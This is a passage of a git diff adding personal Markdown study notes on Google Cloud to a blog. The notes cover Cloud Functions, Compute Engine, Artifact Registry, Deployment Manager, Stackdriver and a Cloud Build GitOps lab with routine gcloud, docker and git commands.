will automatically deploy the appropriate computing capacity to run that code. + - the functions will respond whenever the events happen. + +- no pay for servers + - charged for the time that the code/functions runs. + - For each function, invocation memory and CPU use is measured in the 100 millisecond increments, rounded up to the nearest increment. + - provides a perpetual free tier. + - So many cloud function use cases could be free of charge. + +- the code is triggered within a few milliseconds based on events. + - can trigger on events in Cloud Storage, Cloud Pub/Sub, + - file is uploaded to Google cloud storage + - or a message is received from Cloud Pub/Sub. + - or in HTTP call + - triggered based on HTTP endpoints define, + - and events in the fire based mobile application back end. + +- to enhance existing applications without having to worry about scaling. + +- These servers are automatically scaled and are deployed from highly available and a fault-tolerant design. + +- use cases + - generally used as part of a microservices application architecture. + - Some applications, especially those that have microservices architecture, can be implemented entirely in Cloud Functions. + - build symbols, serverless, mobile IoT backends, or integrate with third party services and APIs. + + - Files uploaded into the GCS bucket can be processed in real time. + - the data can be extracted, transformed and loaded for querying in analysis. + - use Cloud Functions as part of intelligent applications + - such as virtual assistance, video or image analysis, and sentiment analysis. + +- Min Instance: keep app warm +- Loneger processung: 60min +- Larger instances +- More regions diff --git a/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-ComputeEngine.md b/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-ComputeEngine.md new file mode 100644 index 00000000000..127732cf447 --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-ComputeEngine.md @@ -0,0 +1,308 @@ +--- +title: GCP - Google Cloud Computing - Compute Engine +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Compute] +tags: [GCP] +toc: true +image: +--- + +- [Google Cloud Computing - Compute Engine](#google-cloud-computing---compute-engine) + - [basic](#basic) + - [compute options](#compute-options) + - [create a virtual machine instance](#create-a-virtual-machine-instance) + - [VM access and lifecycle](#vm-access-and-lifecycle) + - [price](#price) + - [images](#images) + - [boot disk](#boot-disk) + - [Common Compute Engine actions](#common-compute-engine-actions) + - [disk snapshiots](#disk-snapshiots) + +--- + + +# Google Cloud Computing - Compute Engine + +--- + +![Screen Shot 2022-08-14 at 23.53.19](https://i.imgur.com/zqLCHjW.jpg) + +![Screen Shot 2021-06-27 at 1.25.24 AM](https://i.imgur.com/5oKaZlZ.png) + +## basic + + + +Compute Engine +- Infrastructure as a Service +- A managed environment for deploying virtual machines + - run thousands of virtual CPUs on a system that is designed to be fast and to offer consistent performance. +- Fully customizable VMs + - Compute Engine offers virtual machines that run on GCP + - create and run virtual machines on Google infrastructure. + - run virtual machines on demand in the Cloud. + - select predefined VM configurations + - create customized configurations +- no upfront investments +- Lift and shift + +- choice: + - have complete control over your infrastructure + - maximum flexibility + - for people who prefer to manage those server instances themselves. + - customize operating systems and even run applications that rely on a mix of operating systems. + - best option if other computing options don't support your applications or requirements + - easily lift and shift your on-premises workloads into GCP without rewriting the applications or making any changes. + + +--- + +## compute options + +![Screen Shot 2021-06-27 at 11.26.51 PM](https://i.imgur.com/ul5zJGm.png) + +![Screen Shot 2021-06-27 at 11.30.34 PM](https://i.imgur.com/FyopVkg.png) + +![Screen Shot 2021-06-27 at 11.31.34 PM](https://i.imgur.com/E1QdnJw.png) + +![Screenshot 2024-08-07 at 11.52.50](/assets/img/Screenshot%202024-08-07%20at%2011.52.50.png) + +![Screenshot 2024-08-07 at 11.53.04](/assets/img/Screenshot%202024-08-07%20at%2011.53.04.png) + +--- + +## create a virtual machine instance +- by Google Cloud Platform console or the GCloud command line tool. + + SSD +- standard, SSD, or local SSD. + - the standard spinning hard disk drives or HDDs, or flash memory solid state drives SSDs. + - Both of these options provide the same amount of capacity in terms of disk size when choosing a persistent disk. +- Therefore, the question really is about performance versus cost +- standard disks + - higher amount of capacity for your dollar. +- SSDs + - higher number of IOPS per dollar +- local SSDs + - even higher throughput and lower latency than SSD persistent disks because they're attached to the physical hardware. + - but data on local SSD persists only until stop or delete the instance. + - Typically is used as a swap disk just like a RAM disc. + - But if you need more capacity, you can store those on a local SSD. +- one instances with up to 8 separate 375 GB local SSD partitions for total of 3 TB of local SSD space for each instance. +- Standard and non-local SSD disks can be sized up to 64 TB for each instance. The performance of these disks scales with each GB of space allocated. + + + + OS +- Linux and Windows Server images provided by Google or customized versions of these images +- import images for many of the physical servers. + + Machine type + OS +- Linux and Windows Server images provided by Google or customized versions of these images +- import images for many of the physical servers. + + Machine type +- how much memory and virtual CPUs +- range from very small to very large indeed. +- can make a custom VM. + + Processing power +- machine learning and data processing that can take advantage of GPUs, many GCP zones have GPU's available for you. +- Just like physical computers need disks, so do VM. + +Virtual machines need block storage +- (2 main choices) +1. 2 persistent storage + - standard or SSD. + - offer network stores that can scale up to 64 terabytes + - can easily take snapshots of the disks for backup and mobility +2. attach a local SSD + - If application needs high-performance scratch space + - enable very high input/output operations per second +- to store data of permanent value somewhere else + - local SSDs content doesn't last past when the VM terminates. + - persistent disks can. + + boot image. +- choose a boot image. + - GCP offers lots of versions of Linux and Windows + - can import the own images too. + + VM startup scripts +- let the VMs come up with certain configurations + - like installing software packages on first boot. +- pass GCP VM startup scripts to do so. + - can also pass in other kinds of metadata too. + + snapshot +- Once the VMs are running +- take a durable snapshot of their disks. +- keep these as backups or use when need to migrate a VM to another region. + + + grained control of costs +- per second billing + - GCP enables fine grained control of costs of Compute Engine resources by providing per second billing. + - helps reduce the costs when deploying compute resources for short periods of time + - such as batch processing jobs + + preemptible VMs instances 抢先的 + +- provide significantly cheaper pricing for the workloads that can be interrupted safely + - have a workload that no human being is sitting around waiting to finish + - such as batch job analyzing large dataset +- benefit: + - save money + - cost less per hour but can be terminated by Google Cloud at any time. +- different from an ordinary Compute Engine VM in only one respect. + - given compute engine permission to terminate it if it's resources are needed elsewhere. + - make sure the job able to be stopped and restarted. +- can't convert a non-preemptible instance into a preemptible one. + - must be made at VM creation. + + + +- choose the machine properties of the instances + - such as the number of virtual CPUs and the amount of memory + - by using a set of predefined machine types + - or by creating the own custom machine types. + - the maximum number of virtual CPUs and the VM was 96 and the maximum memory size was in beta at 624 gigabytes. + - huge VMs are great for workloads like in-memory databases and CPU intensive analytics + - but most GCP customers start off with scaling out not scaling up. + + Auto scaling +- add and take away VMs from the application based on load metrics. +- place the Compute Engine workloads behind global load balancers that support autoscaling + + + +- balancing the incoming traffic across the VMs + - Google VPC supports several different kinds of load balancing + + + managed instance groups +- define resources that are automatically deployed to meet demand + + + + Availability policies +- If a VM is stopped (outage or a hardware failure), the automatic restart feature starts it back up. Is this the behavior you want? Are the applications idempotent (written to handle a second startup properly)? +- During host maintenance, the VM is set for live migration. However, you can have the VM terminated instead of migrated. + + +--- + + +## VM access and lifecycle + +![Screen Shot 2021-06-27 at 1.39.29 AM](https://i.imgur.com/GBBhyUX.png) + +![Screen Shot 2021-06-27 at 1.41.00 AM](https://i.imgur.com/fTqBfTf.png) + +![Screen Shot 2021-06-27 at 1.42.10 AM](https://i.imgur.com/d9Pcelb.png) + +![Screen Shot 2021-06-27 at 1.48.25 AM](https://i.imgur.com/aaih5Nl.png) + +![Screen Shot 2021-06-27 at 1.51.58 AM](https://i.imgur.com/CWHsaKB.png) + + +--- + +## price + +![Screen Shot 2021-06-27 at 11.32.27 PM](https://i.imgur.com/RyUriRl.png) + +![Screenshot 2024-08-07 at 11.49.42](/assets/img/Screenshot%202024-08-07%20at%2011.49.42.png) + +1. **bills by the second** + - with a one-minute minimum for virtual machine usage. + +1. **Sustained-use discounts** + - apply automatically to virtual machines that run for more than 25% of a month. + +1. **Committed-use discounts** + - for stable and predictable workloads. + +1. **Preemptible and Spot VMs** + + - can be used to save money for certain workloads + + - Preemptible and spot VMs have the same performance as ordinary VMs of the same machine type. + + - Preemptible 可優先的 VMs can run for up to 24 hours, while Spot VMs have no maximum runtime. + + - ![Screenshot 2024-08-07 at 11.50.07](/assets/img/Screenshot%202024-08-07%20at%2011.50.07.png) + + - ![Screenshot 2024-08-07 at 11.50.15](/assets/img/Screenshot%202024-08-07%20at%2011.50.15.png) + + - ![Screen Shot 2021-06-27 at 11.39.50 PM](https://i.imgur.com/Yp597og.png) + + +![Screen Shot 2021-06-27 at 11.40.30 PM](https://i.imgur.com/xH8t5cU.png) + +![Screen Shot 2021-06-27 at 11.41.41 PM](https://i.imgur.com/0KRYWtj.png) + +--- + + +## images + +![Screen Shot 2021-06-27 at 11.48.19 PM](https://i.imgur.com/yVpn2Me.png) + +![Screen Shot 2021-06-27 at 11.49.56 PM](https://i.imgur.com/x9Xh4xR.png) + + +--- + + +## boot disk + +![Screen Shot 2021-06-27 at 11.56.32 PM](https://i.imgur.com/Lr7inWQ.png) + +![Screen Shot 2021-06-27 at 11.59.10 PM](https://i.imgur.com/wHPtuB0.png) + +![Screen Shot 2021-06-28 at 12.00.49 AM](https://i.imgur.com/sEuNJy3.png) + +![Screen Shot 2021-06-28 at 12.01.07 AM](https://i.imgur.com/SJuKjJ7.png) + +![Screen Shot 2021-06-28 at 12.01.30 AM](https://i.imgur.com/Rs6oXMF.png) + + +![Screen Shot 2021-06-28 at 12.03.00 AM](https://i.imgur.com/Bazf2mM.png) + +--- + +## Common Compute Engine actions + + +![Screen Shot 2021-06-28 at 12.36.17 AM](https://i.imgur.com/y26HA8Z.png) + +![Screen Shot 2021-06-28 at 12.37.06 AM](https://i.imgur.com/NB1sYG4.png) + +![Screen Shot 2021-06-28 at 12.37.33 AM](https://i.imgur.com/lHDVssB.png) + +![Screen Shot 2021-06-28 at 12.37.50 AM](https://i.imgur.com/SPxxH6M.png) + +![Screen Shot 2021-06-28 at 12.38.35 AM](https://i.imgur.com/QIFNlYf.png) + +--- + +## disk snapshiots + +![Screen Shot 2021-06-28 at 12.38.53 AM](https://i.imgur.com/81kulI6.png) + + + +![Screen Shot 2021-06-28 at 12.40.06 AM](https://i.imgur.com/IqfAcHn.png) + + + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-ArtifactRegistry.md b/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-ArtifactRegistry.md new file mode 100644 index 00000000000..81e6a620bfe --- /dev/null +++ b/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-ArtifactRegistry.md @@ -0,0 +1,237 @@ +--- +title: GCP - Artifact Registry +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, DevOps] +tags: [GCP] +toc: true +image: +--- + +- [GCP Artifact Registry](#gcp-artifact-registry) + - [overview](#overview) + - [Repository formats](#repository-formats) + - [Repository modes](#repository-modes) + - [Repository usage example](#repository-usage-example) + - [create repo](#create-repo) + - [create standard repo](#create-standard-repo) + - [Connect to Build](#connect-to-build) + - [Connect to Cloud Build](#connect-to-cloud-build) + - [Deploy to Google Cloud](#deploy-to-google-cloud) + - [Deploying to Cloud Run](#deploying-to-cloud-run) + +--- + +# GCP Artifact Registry + +```bash +gcloud artifacts repositories create quickstart-docker-repo \ + --repository-format=docker \ + --location=us-west1 \ + --description="Docker repository" \ + --project=PROJECT + +gcloud artifacts repositories list \ + --project=PROJECT + +# Before you can push or pull images, configure Docker to use the Google Cloud CLI to authenticate requests to Artifact Registry. +gcloud auth configure-docker us-west1-docker.pkg.dev + +# Obtain an image to push +docker pull us-docker.pkg.dev/google-samples/containers/gke/hello-app:1.0 + +# Tag the image with a registry name +docker tag us-docker.pkg.dev/google-samples/containers/gke/hello-app:1.0 \ + us-west1-docker.pkg.dev/PROJECT/quickstart-docker-repo/quickstart-image:tag1 + +# Push the image to Artifact Registry +docker push us-west1-docker.pkg.dev/PROJECT/quickstart-docker-repo/quickstart-image:tag1 + +# Pull the image from Artifact Registry +docker pull us-west1-docker.pkg.dev/PROJECT/quickstart-docker-repo/quickstart-image:tag1 + +# Delete +gcloud artifacts repositories delete quickstart-docker-repo \ + --location=us-west1 +``` + +--- + +## overview + +Artifact Registry enables you to store different artifact types, create multiple repositories in a single project, and associate a specific region or multi-region with each repository. + +--- + +## Repository formats + +- Each repository is associated with a specific artifact format. +- For example, a Docker repository stores Docker images. +- You can create multiple repositories for each format in the same Google Cloud project. + +--- + +## Repository modes + +There are multiple repository modes. +- you cannot change the repository mode after you have created a repository. + +**Standard repository** +- regular Artifact Registry repositories for private artifacts. +- upload and download artifacts directly with these repositories and use Artifact Analysis to scan for vulnerabilities and other metadata. + +**Remote repository** +- A `read-only` repository that acts as a proxy to store artifacts from preset external sources such as Docker Hub, Maven Central, the Python Package Index (PyPI), Debian or CentOS as well as user-defined sources for supported formats. +- The first time you request an artifact version, the repository downloads it from the external source and caches a copy of it. +- The repository serves the cached copy when the same version is requested again. + +- Remote repositories reduce latency and improve availability for builds and deployments on Google Cloud. You can also use Artifact Analysis to scan cached packages for vulnerabilities and other metadata. + +**Virtual repository** +- A `read-only` repository that acts as a single access point to download, install, or deploy artifacts of the same format from one or more upstream repositories. +- An upstream repository can be a standard, remote, or virtual repository. + +- Virtual repositories simplify client configuration for consumers of your artifacts. +- You can also mitigate dependency confusion attacks by configuring your upstream policy to prioritize repositories with your private artifacts over remote repositories that cache public artifacts. + +--- + +## Repository usage example + +![Screenshot 2024-07-19 at 15.59.46](/assets/img/Screenshot%202024-07-19%20at%2015.59.46.png) + +1. In the development project, a Java development team uses Cloud Build to build a Java application. + + 1. The build can request public Java dependencies using the virtual repository. + + 2. The virtual repository serves the dependencies from the remote repository, which is a caching proxy for Maven Central. + + 3. Cloud Build uploads the package to the standard Maven repository in the component project. + +2. In the runtime project, Cloud Build containerizes the Java application. + + 1. The build uses the Maven virtual repository to download the application. + 2. The virtual repository serves the package from the standard repository in the development project. + 3. The build can also download public Java dependencies from the same virtual repository. + +3. In the runtime project, **Cloud Build** uploads the built container image to a `standard Docker repository`. + +4. GKE pulls images from the Docker virtual repository. + + 1. The upstream standard Docker repository provides private images, such as the containerized Java application. + + 2. The upstream remote repository provides images that GKE requests from Docker Hub. + + +--- + +## create repo + +### create standard repo + +```bash +gcloud artifacts repositories create REPOSITORY \ + --repository-format=apt \ + --location=LOCATION \ + --description="DESCRIPTION" \ + --kms-key=KMS-KEY \ + --async +``` + +--- + +## Connect to Build + +You can build your artifacts with: + +- Cloud Build, which tightly integrates with Artifact Registry. + +- Format-specific tools such as Maven for Java packages or Docker for container images. + +- General build or continuous integration tools such as Jenkins or Tekton. + +--- + +### Connect to Cloud Build + +1. Configure a Docker build + +```yaml +# build config file +steps: +images: +- '${_LOCATION}-docker.pkg.dev/$PROJECT_ID/${_REPOSITORY}/${_IMAGE}' + +- name: 'gcr.io/cloud-builders/docker' + args: [ 'build', '-t', '${_LOCATION}-docker.pkg.dev/$PROJECT_ID/${_REPOSITORY}/${_IMAGE}', '.' ] + +# pip install +- name: python + entrypoint: pip + args: ["install", "-r", "requirements.txt", "--user"] + +# python upload to repo +- name: python + entrypoint: python + args: + - '-m' + - 'twine' + - 'upload' + - '--repository-url' + - 'https://${_LOCATION}-python.pkg.dev/$PROJECT_ID/${_REPOSITORY}/' + - 'dist/*' + +# pip install the package from the Python repository +- name: python + entrypoint: pip + args: + - 'install' + - '--index-url' + - 'https://${_LOCATION}-python.pkg.dev/$PROJECT_ID/${_REPOSITORY}/simple/' + - '${_PACKAGE}' + - '--verbose' +``` + +2. When you are ready to run the build, specify values for the user-defined substitutions. For example, this command substitutes: + +```bash +gcloud builds submit --config=cloudbuild.yaml \ + --substitutions=_LOCATION="us-east1",_REPOSITORY="my-repo",_IMAGE="my-image" . +``` + + +--- + +## Deploy to Google Cloud + + +Google Cloud runtime environments are preconfigured with access to repositories in the same project. + +You must configure or modify permissions if: +- You are using a service account in one project to access Artifact Registry in a different project +- You are using a service account with read-only access to storage, but you want the service account to both upload and download artifacts +- You are using a custom service account to interact with Artifact Registry. + +--- + +### Deploying to Cloud Run + +- You can deploy a container image stored in Artifact Registry to Cloud Run. +- You can also deploy directly from source to Cloud Run, which includes automatically creating a container image for your built source and storing the image in Artifact Registry. + +Deploying from local source, Cloud Run can automatically: +- Containerize local source code. +- Push the container image to an Artifact Registry repository. +- Deploy the container image Cloud Run from the repository. + +Cloud Run pushes and pulls images using the repository cloud-run-source-deploy in the region that you specify at deploy time. If the repository does not exist, Cloud Run creates it for you if your account has the required permissions. + + +Deploying container images + +- You can deploy an image by tag or digest that is stored in Artifact Registry. + +- Deploying to a service for the first time creates its first revision. Note that revisions are immutable. If you deploy from a container image tag, it will be resolved to a digest and the revision will always serve this particular digest. + +- You can deploy a container using the Google Cloud console or the gcloud command line. For instructions see, Deploying container images. + +. diff --git a/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-command.md b/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-command.md new file mode 100644 index 00000000000..b13225ab4ed --- /dev/null +++ b/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-command.md @@ -0,0 +1,30 @@ +--- +title: GCP - Command +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, DevOps] +tags: [GCP] +toc: true +image: +--- + +- [GCP - Command](#gcp---command) + +--- + + +# GCP - Command + + +The SDK includes two types of tools. +- a collection of `client libraries` that applications can use to interact with GCP services. +- a set of `command-line tools`, including + - **gcloud**: managing all services other than Cloud Storage, BigQuery, and Kubernetes. + - gsutil, + - bq, + - **kubectl**: Kubernetes + + + + + +. diff --git a/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-development-cloud.md b/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-development-cloud.md new file mode 100644 index 00000000000..0e917c2efae --- /dev/null +++ b/_posts/01Cloud/01GCP/DevOps/2021-01-01-GCP-development-cloud.md @@ -0,0 +1,314 @@ +--- +title: GCP - Development in the cloud +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, DevOps] +tags: [GCP] +toc: true +image: +--- + +- [Development in the cloud](#development-in-the-cloud) + - [devOps](#devops) + - [Cloud Build](#cloud-build) + - [development.](#development) + - [Cloud Source Repositories](#cloud-source-repositories) + - [Infrastructure as code](#infrastructure-as-code) + - [Deployment Manager `declarative rather than imperative`](#deployment-manager-declarative-rather-than-imperative) + - [Proactive instrumentation: Stackdriver](#proactive-instrumentation-stackdriver) + - [Stackdriver](#stackdriver) + - [Stackdriver Monitoring](#stackdriver-monitoring) + - [Stackdriver Logging](#stackdriver-logging) + - [Stackdriver Error Reporting](#stackdriver-error-reporting) + - [Stackdriver Trace](#stackdriver-trace) + - [Stackdriver Debugger](#stackdriver-debugger) + +--- + + +# Development in the cloud + + +![Screen Shot 2022-08-16 at 23.32.22](https://i.imgur.com/izRxtgt.jpg) + +![Screen Shot 2022-08-16 at 23.32.42](https://i.imgur.com/Nt0AZ8o.png) + + + +--- + +## devOps + + +## Cloud Build + + +![Screen Shot 2022-08-16 at 23.33.12](https://i.imgur.com/oNtXBE6.png) + + + + +--- + + +## development. + +- Git + - use Git to store and manage the source code trees. + - running their own Git instances or using a hosted Git provider. + - Running the own: have total control. + - Using a hosted Git provider: less work. + - Cloud Source Repositories + - keep code private to a GCP project + - use IAM permissions to protect it, + - and not have to maintain the Git instance theself. + +--- + +### Cloud Source Repositories + +- Cloud Source Repositories + - provides Git version control + - to support the team's development of any application or service, + - including those that run on App Engine, Compute Engine, and Kubernetes Engine. + - can have any number of private Git repositories + - to organize the code associated with the cloud project in whatever way works best for you. + - contains a source viewer + - browse and view repository files from within the GCP console. + + +--- + + + +## Infrastructure as code + +- Setting up the environment in GCP can entail many steps: + - setting up compute network and storage resources, + - and keeping track of their configurations. + +- do it all by hand `imperative` + - figure out the commands to set up the environment + - to change the environment + - figure out the commands to change it from the old state to the new. + - to clone the environment, + - do all those commands again. + +--- + +### Deployment Manager `declarative rather than imperative` + +- an Infrastructure Management Service for GCP resources. + +- use a template. + - a specification of what the environment should look like. + +- automates the creation and management of the Google Cloud Platform resources + +- To use it + - create a template file + - using either the YAML markup language or Python + - describes the components of the environment + - give the template to Deployment Manager + - figures out and does the actions needed to create the environment the template describes. + +- to change the environment + - edit the template and then tell Deployment Manager to update the environment to match the change. + +- can store and version control the Deployment Manager templates in Cloud Source repositories. + + +```bash +export MY_ZONE=us-central1-f +echo $DEVSHELL_PROJECT_ID +vim mydeploy.yaml +# resources: +# - name: my-vm +# type: compute.va.instance +# properties: +# zone: ZONE +# machineType: zones/ZONE/machineTypes/na-standard-1 + +# metadata: +# items: +# - key: startup_script +# value: "apt-get update" + +# disks: +# - deviceName: boot +# type: PERSISTENT +# boot: true +# autoDelete: true +# initializeParams: +# sourceImage: https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/debian-9-stretch-v201709$ + +# networkInterfaces: +# - network: https://www.googleapis.com/compute/v1/projects/PROJECT_ID/global/networks/default +# accessConfigs: +# - name: External NAT +# type: ONE_TO_ONE_NAT + +sed -i -e 's/PROJECT_ID/'$DEVSHELL_PROJECT_ID/ mydeploy.yaml +sed -i -e 's/ZONE/'$MY_ZONE/ mydeploy.yaml + +gcloud deployment-manager deployments create my-dep1 \ + --config mydeploy.yaml + +gcloud deployment-manager deployments list + + +gcloud deployment-manager deployments update my-dep1 \ + --config mydeploy.yaml +``` + + + + + +--- + +## Proactive instrumentation: Stackdriver + +![Screen Shot 2021-06-30 at 1.11.02 AM](https://i.imgur.com/9sLtQFa.png) + +- Monitoring + - lets you figure out whether the changes you made were good or bad. + - lets you respond with information rather than with panic, when one of the end users complains that the application is down. + + + +### Stackdriver + + + +- GCP's tool for monitoring, logging and diagnostics (debug, error reporting, trace) + - gives access to many different kinds of signals from the infrastructure platforms, virtual machines, containers, middleware and application tier, logs, metrics and traces. + - gives insight into the application's health, performance and availability. + +- core components of Stackdriver: + - Monitoring, Logging, Trace, Error Reporting and Debugging. + + +![Screen Shot 2021-06-30 at 1.13.54 AM](https://i.imgur.com/NlEdSpl.png) + + +![Screen Shot 2021-02-09 at 01.38.29](https://i.imgur.com/rRIi5gV.png) + + +![Screen Shot 2021-06-30 at 1.14.23 AM](https://i.imgur.com/UvolPWA.png) + + + + +### Stackdriver Monitoring + +![Screen Shot 2021-06-30 at 1.14.50 AM](https://i.imgur.com/F9RrJ3c.png) + +![Screen Shot 2021-06-30 at 1.15.14 AM](https://i.imgur.com/G4ZLaXt.png) + +![Screen Shot 2021-06-30 at 1.15.35 AM](https://i.imgur.com/olL8dTe.png) + +![Screen Shot 2021-06-30 at 1.16.24 AM](https://i.imgur.com/K39mhuB.png) + +![Screen Shot 2021-06-30 at 1.16.52 AM](https://i.imgur.com/2fqQzkE.png) + +![Screen Shot 2021-06-30 at 1.17.23 AM](https://i.imgur.com/OFwsCQ5.png) + +![Screen Shot 2021-06-30 at 1.18.07 AM](https://i.imgur.com/pO5CT99.png) + +![Screen Shot 2021-06-30 at 1.18.51 AM](https://i.imgur.com/5TyCIe8.png) + + +![Screen Shot 2021-06-30 at 1.19.25 AM](https://i.imgur.com/ZKSuj9X.png) + +![Screen Shot 2021-06-30 at 1.19.52 AM](https://i.imgur.com/NSWwXF2.png) + +- checks the endpoints of web applications and other Internet accessible services running on the cloud environment. +- configure uptime checks associated with URLs, groups or resources such as Instances and load balancers. +- set up alerts on interesting criteria, + - like when health check results or uptimes fall into levels that need action. +- use Monitoring with a lot of popular notification tools. +- create dashboards to help visualize the state of the application. + + +### Stackdriver Logging + +![Screen Shot 2021-06-30 at 1.36.12 AM](https://i.imgur.com/m1p8cOr.png) + +![Screen Shot 2021-06-30 at 1.36.38 AM](https://i.imgur.com/PaX7hvz.png) + + +![Screen Shot 2021-06-30 at 1.37.17 AM](https://i.imgur.com/DjbicRa.png) + +- view logs from the applications and filter and search on them. +- define metrics based on log + - based on log contents that are incorporated into dashboards and alerts. +- export logs to BigQuery, Cloud Storage and Cloud PubSub. + + + +### Stackdriver Error Reporting + +![Screen Shot 2021-06-30 at 1.37.46 AM](https://i.imgur.com/3lwE35H.png) + +- tracks and groups the errors in the cloud applications. +- notifies you when new errors are detected. + + +### Stackdriver Trace + +![Screen Shot 2021-06-30 at 1.38.11 AM](https://i.imgur.com/gAFEdwa.png) + +- sample the latency of app engine applications and report Per-URL statistics. + + +### Stackdriver Debugger + +![Screen Shot 2021-06-30 at 1.38.53 AM](https://i.imgur.com/gFT2uFY.png) + +> debugging +> go back into it and add lots of logging statements. + +Stackdriver Debugger +- offers a different way. +- It connects the applications production data to the source code. +- inspect the state of the application at any code location in production. +- view the application stage without adding logging statements. + +- works best when the application source code is available, such as in Cloud Source repositories. +- it can be in other repositories too. + +```bash +dd if=/dev/urandom | gzip -9 >> /dev/null & + +# Google CLoud Platform > Stackdriver Monitoring +``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/DevOps/CloudBuild.md b/_posts/01Cloud/01GCP/DevOps/CloudBuild.md new file mode 100644 index 00000000000..e70946e0eb6 --- /dev/null +++ b/_posts/01Cloud/01GCP/DevOps/CloudBuild.md @@ -0,0 +1,277 @@ + + + + + + + +custom build configuration files +- can perform other actions, in parallel or in sequence, in addition to simply building containers: + - running tests on your newly built containers, + - pushing them to various destinations, + - and even deploying them to Kubernetes Engine. + + +![Screenshot 2024-07-30 at 21.30.40](/assets/img/Screenshot%202024-07-30%20at%2021.30.40.png) + + +1. 2 Git repositories: + 1. app repository: contains the source code of the application itself + 2. env repository: contains the manifests for the Kubernetes Deployment + +2. When you push a change to the app repository, + 1. the `Cloud Build` pipeline runs tests, builds a container image, and pushes it to `Artifact Registry`. + 2. After pushing the image, `Cloud Build` updates the Deployment manifest and pushes it to the `env repository`. + 3. This triggers another `Cloud Build` pipeline that applies the manifest to the GKE cluster and, if successful, stores the manifest in another branch of the `env repository`. + +3. The app and env repositories are kept separate because they have different lifecycles and uses. + 1. The main users of the `app repository` are actual humans and this repository is dedicated to a specific application. + 2. The main users of the `env repository` are automated systems (such as Cloud Build), and this repository might be shared by several applications. + 1. The env repository can have several branches that each map to a specific environment (you only use production in this lab) and reference a specific container image, whereas the app repository does not. + +![Screenshot 2024-07-30 at 21.33.44](/assets/img/Screenshot%202024-07-30%20at%2021.33.44.png) + + +```bash +gcloud config set project "qwiklabs-gcp-03-56f994cb15bb" +export PROJECT_ID=$(gcloud config get-value project) +export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format='value(projectNumber)') +export REGION=us-central1 +gcloud config set compute/region $REGION + +gcloud services enable container.googleapis.com \ + cloudbuild.googleapis.com \ + sourcerepo.googleapis.com \ + containeranalysis.googleapis.com + +# Create an Artifact Registry Docker repo to store the container images: +gcloud artifacts repositories create my-repository \ + --repository-format=docker \ + --location=$REGION + +# Create a GKE cluster to deploy the sample application of this lab: +gcloud container clusters create hello-cloudbuild \ + --num-nodes 1 \ + --region $REGION + +git config --global user.email "jiaying_luo2@apple.com" +git config --global user.name "Grace JyLuo" + + + +# ========= Task 2. Create the Git repositories in Cloud Source Repositories + +# create the two Git repositories: +gcloud source repos create hello-cloudbuild-app +gcloud source repos create hello-cloudbuild-env + +# download code +cd ~ +mkdir hello-cloudbuild-app +gcloud storage cp -r gs://spls/gsp1077/gke-gitops-tutorial-cloudbuild/* hello-cloudbuild-app + + +# Configure Cloud Source Repositories as a remote: +cd ~/hello-cloudbuild-app + +export REGION=us-central1 +sed -i "s/us-central1/$REGION/g" cloudbuild.yaml +sed -i "s/us-central1/$REGION/g" cloudbuild-delivery.yaml +sed -i "s/us-central1/$REGION/g" cloudbuild-trigger-cd.yaml +sed -i "s/us-central1/$REGION/g" kubernetes.yaml.tpl + +PROJECT_ID=$(gcloud config get-value project) + +git init +git add . +git remote add google "https://source.developers.google.com/p/${PROJECT_ID}/r/hello-cloudbuild-app" +git commit -m "Initial commit" + + +# ========= Task 3. Create a container image with Cloud Build + +# from flask import Flask +# app = Flask('hello-cloudbuild') +# @app.route('/') +# def hello(): +# return "Hello World!\n" +# if __name__ == '__main__': +# app.run(host = '0.0.0.0', port = 8080) + +# FROM python:3.7-slim +# RUN pip install flask +# WORKDIR /app +# COPY app.py /app/app.py +# ENTRYPOINT ["python"] +# CMD ["/app/app.py"] + +# create a Cloud Build build based on the latest commit with the following command: +cd ~/hello-cloudbuild-app +COMMIT_ID="$(git rev-parse --short=7 HEAD)" +gcloud builds submit --tag="${REGION}-docker.pkg.dev/${PROJECT_ID}/my-repository/hello-cloudbuild:${COMMIT_ID}" . + + +# ========= Task 4. Create the Continuous Integration (CI) pipeline +# In the Cloud console, go to Cloud Build > Triggers. +# Click Create Trigger +# In the Name field, type hello-cloudbuild. +# Under Event, select Push to a branch. +# Under Source, select hello-cloudbuild-app as your Repository and .* (any branch) as your Branch. +# Under Build configuration, select Cloud Build configuration file. +# In the Cloud Build configuration file location field, type cloudbuild.yaml after the /. +# For the Service account, use the Compute Engine default service account. +# Click Create. + +# To start this trigger, run the following command: +cd ~/hello-cloudbuild-app +git add . +git commit -m "Type Any Commit Message here" +git push google master + + + +# ========= Task 5. Create the Test Environment and CD pipeline +# Cloud Build is also used for the continuous delivery pipeline. The pipeline runs each time a commit is pushed to the candidate branch of the hello-cloudbuild-env repository. The pipeline applies the new version of the manifest to the Kubernetes cluster and, if successful, copies the manifest over to the production branch. This process has the following properties: + +# The candidate branch is a history of the deployment attempts. +# The production branch is a history of the successful deployments. +# You have a view of successful and failed deployments in Cloud Build. +# You can rollback to any previous deployment by re-executing the corresponding build in Cloud Build. A rollback also updates the production branch to truthfully reflect the history of deployments. + +# Grant Cloud Build access to GKE +# To deploy the application in your Kubernetes cluster, Cloud Build needs the Kubernetes Engine Developer Identity and Access Management role. +# In Cloud Shell execute the following command: +PROJECT_NUMBER="$(gcloud projects describe ${PROJECT_ID} --format='get(projectNumber)')" +gcloud projects add-iam-policy-binding ${PROJECT_NUMBER} \ + --member=serviceAccount:${PROJECT_NUMBER}@cloudbuild.gserviceaccount.com \ + --role=roles/container.developer + +# initialize the hello-cloudbuild-env repository with two branches (production and candidate) and a Cloud Build configuration file describing the 